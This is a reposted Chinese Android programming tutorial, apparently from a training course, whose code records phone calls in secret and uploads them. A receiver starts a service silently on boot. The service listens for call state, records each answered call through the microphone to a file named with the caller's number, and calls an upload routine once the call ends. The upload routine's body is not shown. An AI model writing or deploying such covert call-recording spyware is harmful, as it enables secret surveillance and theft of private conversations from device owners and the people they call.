开启service听话筒内容

来源:互联网 发布:网站数据库下载工具 编辑:程序博客网 时间:2024/05/17 08:04

接收开机广播然后开启服务,利用TelephonyManager, MediaRecorder录音,然后上传到网络

service,receiver开机以及权限的注册清单




<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"    package="cn.itcast.phonelistener"    android:versionCode="1"    android:versionName="1.0" >    <uses-sdk android:minSdkVersion="8" />    <application        android:icon="@drawable/ic_launcher"        android:label="@string/app_name" >                <service android:name=".PhoneService"/>                <receiver android:name=".BootBroadcastReceiver">            <intent-filter >                <action android:name="android.intent.action.BOOT_COMPLETED"/>            </intent-filter>        </receiver>    </application>    <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <!-- 在SDCard中创建与删除文件权限 --><uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/><!-- 往SDCard写入数据权限 --><uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <!-- 访问internet权限 --><uses-permission android:name="android.permission.INTERNET"/><uses-permission android:name="android.permission.RECORD_AUDIO"/>          </manifest>
利用PhoneStateListene和MediaRecorder录音

public class PhoneService extends Service {@Overridepublic IBinder onBind(Intent intent) {// TODO Auto-generated method stubreturn null;}@Overridepublic void onCreate() {super.onCreate();TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);}private final class PhoneListener extends PhoneStateListener{private String incomingNumber;private File file;private MediaRecorder mediaRecorder;@Overridepublic void onCallStateChanged(int state, String incomingNumber) {try {switch (state) {case TelephonyManager.CALL_STATE_RINGING://来电this.incomingNumber = incomingNumber;break;case TelephonyManager.CALL_STATE_OFFHOOK://接通电话file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp");mediaRecorder = new MediaRecorder();mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);mediaRecorder.setOutputFile(file.getAbsolutePath());mediaRecorder.prepare();mediaRecorder.start();//开始录音break;case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态if(mediaRecorder != null){mediaRecorder.stop();mediaRecorder.release();mediaRecorder = null;uploadFile();}break;}} catch (Exception e) {e.printStackTrace();}}

开机后显式激活service

public class BootBroadcastReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {Intent service = new Intent(context, PhoneService.class);//显式/隐式context.startService(service);//Intent激活组件(Service)}}





0 0
原创粉丝点击